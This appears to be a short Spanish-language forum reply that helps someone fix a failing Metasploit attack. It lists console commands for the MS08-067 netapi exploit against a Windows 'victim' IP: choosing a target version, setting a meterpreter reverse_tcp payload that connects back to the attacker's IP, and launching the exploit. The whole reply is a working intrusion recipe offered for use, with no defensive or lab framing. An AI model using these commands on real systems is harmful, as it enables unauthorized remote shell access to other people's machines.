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Que tal compas buen dia !!

este error se debe a que debes configurar el target, el error que mandas te indica que lo configures y seria asi:

> use exploit/windows/smb/ms08_067_netapi
> set rhost xx.xx.xx.xx (ip victima)
> show targets (aqui te aparece una lista de todos los tipos de targets(versiones windows) que es compitble el exploit selecciona el que te indica metasploit que es Windows 2003 SP2 English (NX) o la version a que corresponde el windows victima)
> set target Windows 2003 SP2 English (NX)
> set payload windows/meterpreter/reverse_tcp
> set lhost xx.xx.xx.xx (tu ip)
> exploit

eso deberia funcionar